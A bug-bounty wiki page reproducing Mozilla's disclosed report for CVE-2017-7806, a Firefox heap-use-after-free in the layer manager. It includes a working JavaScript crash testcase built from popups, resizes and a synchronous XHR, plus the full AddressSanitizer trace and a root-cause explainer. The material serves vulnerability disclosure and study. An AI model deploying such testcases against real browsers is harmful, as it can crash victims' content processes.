Skip to content
Memory corruption Disclosed report Advanced CVE-2017-7806

heap-use-after-free in mozilla::layers::ClientLayerManager::DidComposite

A crafted web page that opens a popup, resizes it and closes it while a synchronous request is in flight causes Firefox to read a layer manager object after it has been freed. The result is a heap-use-after-free detected by AddressSanitizer in the content process, which could crash the browser.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 17 days
  • Paid in 27 days
  • Disclosed after 17 days

Created attachment 8883281 05crab.svg (required for the testcase)

The following testcase crashes the latest ASAN build of Firefox (BuildID=20170703081455). It requires the attached 05crab.svg file in the same directory. Attempts to minimise the file were unsuccessful and made the testcase far less reliable.

<script> function start() { o1=window.open('05crab.svg','popup41','width=-11,left=7,innerWidth=2621447,resizable'); window.open('data:text/html,<div>','popup31','left=-2,menubar,toolbar'); o1.onresize=fun0; o1.resizeTo(-26618,2); o1.close(); } function fun0() { x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("test");}catch(e){} } </script> <body onload="start()"></body>

ASAN report:

==27239==ERROR: AddressSanitizer: heap-use-after-free on address 0x6140001bb1d8 at pc 0x7f6be0f281b6 bp 0x7ffe4ec3af90 sp 0x7ffe4ec3af88 READ of size 8 at 0x6140001bb1d8 thread T0 (Web Content) #0 0x7f6be0f281b5 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:398:37 #1 0x7f6be0f281b5 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:520 #2 0x7f6be1018c45 in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:525:14 #3 0x7f6be0288415 in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1443:20 #4 0x7f6bdfb4253e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2093:25 #5 0x7f6bdfb3f354 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2019:17 #6 0x7f6bdfb40fa4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1888:5 #7 0x7f6bdfb41588 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1921:15 #8 0x7f6bded391af in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:367:25 #9 0x7f6bded65f48 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1422:14 #10 0x7f6bded6c098 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10 #11 0x7f6bdfb4a1f1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #12 0x7f6bdfaa6be0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10 #13 0x7f6bdfaa6be0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313 #14 0x7f6bdfaa6be0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293 #15 0x7f6be514ca6f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #16 0x7f6be937fa47 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22 #17 0x7f6bdfaa6be0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10 #18 0x7f6bdfaa6be0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313 #19 0x7f6bdfaa6be0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293 #20 0x7f6be937f4ad in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:711:34 #21 0x4eb813 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #22 0x4eb813 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286 #23 0x7f6bfbf4c82f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291 #24 0x41d168 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d168)

0x6140001bb1d8 is located 408 bytes inside of 424-byte region [0x6140001bb040,0x6140001bb1e8) freed by thread T0 (Web Content) here: #0 0x4bb69b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7f6be5124384 in Release /home/worker/workspace/build/src/obj-firefox/dist/include/Layers.h:180:3 #2 0x7f6be5124384 in Release /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:40 #3 0x7f6be5124384 in Release /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:395 #4 0x7f6be5124384 in assign_assuming_AddRef /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:65 #5 0x7f6be5124384 in operator= /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:166 #6 0x7f6be5124384 in mozilla::widget::PuppetWidget::Destroy() /home/worker/workspace/build/src/widget/PuppetWidget.cpp:198 #7 0x7f6be49ff837 in mozilla::dom::TabChild::DestroyWindow() /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:1030:24 #8 0x7f6be4a118c4 in mozilla::dom::TabChild::RecvDestroy() /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:2361:3 #9 0x7f6be018e9ae in mozilla::dom::PBrowserChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBrowserChild.cpp:4248:20 #10 0x7f6be02fb19c in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:5288:28 #11 0x7f6bdfb4253e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2093:25 #12 0x7f6bdfb3f354 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2019:17 #13 0x7f6bdfb40fa4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1888:5 #14 0x7f6bdfb41588 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1921:15 #15 0x7f6bded391af in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:367:25 #16 0x7f6bded65f48 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1422:14 #17 0x7f6bded6c098 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10 #18 0x7f6be4fadc95 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /home/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3088:31)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:323:25 #19 0x7f6be4fadc95 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /home/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3088 #20 0x7f6be4fcb846 in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.h:379:13 #21 0x7f6be2be4156 in mozilla::dom::XMLHttpRequestBinding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:783:13 #22 0x7f6be3348b1e in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3028:13 #23 0x7f6be9845724 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #24 0x7f6be9845724 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:470 #25 0x7f6be982e54b in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:521:12 #26 0x7f6be982e54b in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3060 #27 0x7f6be98152c8 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:410:12 #28 0x7f6be98458bc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:488:15 #29 0x7f6be9846212 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534:10 #30 0x7f6bea49624e in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:169:12 #31 0x7f6bea45a629 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23 #32 0x7f6bea4763d3 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:481:21 #33 0x7f6bea478da7 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:741:12 #34 0x7f6be9845b6c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #35 0x7f6be9845b6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:452 #36 0x7f6be9846212 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534:10 #37 0x7f6bea1bce1b in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2948:12 #38 0x7f6be2dae555 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37

previously allocated by thread T0 (Web Content) here: #0 0x4bb9ec in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ecf0d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f6be5128fa2 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f6be5128fa2 in mozilla::widget::PuppetWidget::GetLayerManager(mozilla::layers::PLayerTransactionChild*, mozilla::layers::LayersBackend, nsIWidget::LayerManagerPersistence) /home/worker/workspace/build/src/widget/PuppetWidget.cpp:582 #4 0x7f6be4a02bc1 in mozilla::dom::TabChild::InitRenderingState(mozilla::layers::TextureFactoryIdentifier const&, unsigned long const&, mozilla::layers::CompositorOptions const&, mozilla::layout::PRenderFrameChild*) /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:2633:24 #5 0x7f6be4a0272d in mozilla::dom::TabChild::DoFakeShow(mozilla::layers::TextureFactoryIdentifier const&, unsigned long const&, mozilla::layers::CompositorOptions const&, mozilla::layout::PRenderFrameChild*, mozilla::dom::ShowInfo const&) /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:1130:3 #6 0x7f6be49807d7 in mozilla::dom::ContentChild::ProvideWindowCommon(mozilla::dom::TabChild*, mozIDOMWindowProxy*, bool, unsigned int, bool, bool, bool, nsIURI*, nsAString const&, nsACString const&, bool, bool*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/dom/ipc/ContentChild.cpp:1026:13 #7 0x7f6be49ff4f0 in mozilla::dom::TabChild::ProvideWindow(mozIDOMWindowProxy*, unsigned int, bool, bool, bool, nsIURI*, nsAString const&, nsACString const&, bool, bool*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/dom/ipc/TabChild.cpp:1004:16 #8 0x7f6be92eb550 in nsWindowWatcher::OpenWindowInternal(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, bool, bool, nsIDocShellLoadInfo*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:879:24 #9 0x7f6be92f060f in OpenWindow2 /home/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:444:10 #10 0x7f6be92f060f in non-virtual thunk to nsWindowWatcher::OpenWindow2(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsISupports*, bool, bool, nsIDocShellLoadInfo*, mozIDOMWindowProxy**) /home/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:416 #11 0x7f6be164a85a in nsGlobalWindow::OpenInternal(nsAString const&, nsAString const&, nsAString const&, bool, bool, bool, bool, bool, nsIArray*, nsISupports*, nsIDocShellLoadInfo*, bool, nsPIDOMWindowOuter**) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:13036:21 #12 0x7f6be1648f6f in OpenJS /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:8924:10 #13 0x7f6be1648f6f in nsGlobalWindow::OpenOuter(nsAString const&, nsAString const&, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:8886 #14 0x7f6be16493fd in nsGlobalWindow::Open(nsAString const&, nsAString const&, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:8895:3 #15 0x7f6be2b1fc22 in mozilla::dom::WindowBinding::open(JSContext*, JS::Handle<JSObject*>, nsGlobalWindow*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:2414:56 #16 0x7f6be2b1e500 in mozilla::dom::WindowBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:15689:13 #17 0x7f6be9845724 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #18 0x7f6be9845724 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:470 #19 0x7f6be982e54b in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:521:12 #20 0x7f6be982e54b in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3060 #21 0x7f6be98152c8 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:410:12 #22 0x7f6be98458bc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:488:15 #23 0x7f6be9846212 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534:10 #24 0x7f6bea1bce1b in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2948:12 #25 0x7f6be2dae555 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #26 0x7f6be37386fb in Call<nsISupports > /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #27 0x7f6be37386fb in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #28 0x7f6be37017b9 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1142:51 #29 0x7f6be3703692 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1314:20 #30 0x7f6be36e37c1 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:464:16 #31 0x7f6be36e6c92 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:824:9 #32 0x7f6be593e94f in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1104:7 #33 0x7f6be888df3a in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7698:21 #34 0x7f6be8889f98 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7496:7 #35 0x7f6be889150f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7393:13

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:398:37 in Length Shadow bytes around the buggy address: 0x0c288002f5e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c288002f5f0: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c288002f600: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c288002f610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c288002f620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c288002f630: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa 0x0c288002f640: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c288002f650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c288002f660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c288002f670: 00 00 00 00 00 00 00 00 07 fa fa fa fa fa fa fa 0x0c288002f680: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==27239==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the window's layer manager is released when the popup is destroyed, but a pending DidComposite message from the compositor still reaches ClientLayerManager and reads the freed object.

Impact

The content process reads freed memory, which could crash the browser; the report does not claim code execution.

What the attacker needed

Victim opens a crafted page; attached SVG file served alongside

How it was found

  1. Open the test page, which opens a popup loading the attached SVG with unusual size parameters.
  2. Open a second popup window.
  3. Attach a resize handler to the first popup and resize it.
  4. Close the first popup.
  5. In the resize handler, send a synchronous request, which spins the event loop while the window is being torn down.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program frees memory and then keeps using it, that is a use-after-free. Here a popup window is closed while Firefox is still handling a resize and a blocking network request, so a graphics object tied to the window is destroyed but later read again. The memory checker AddressSanitizer catches the bad read and aborts the browser.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.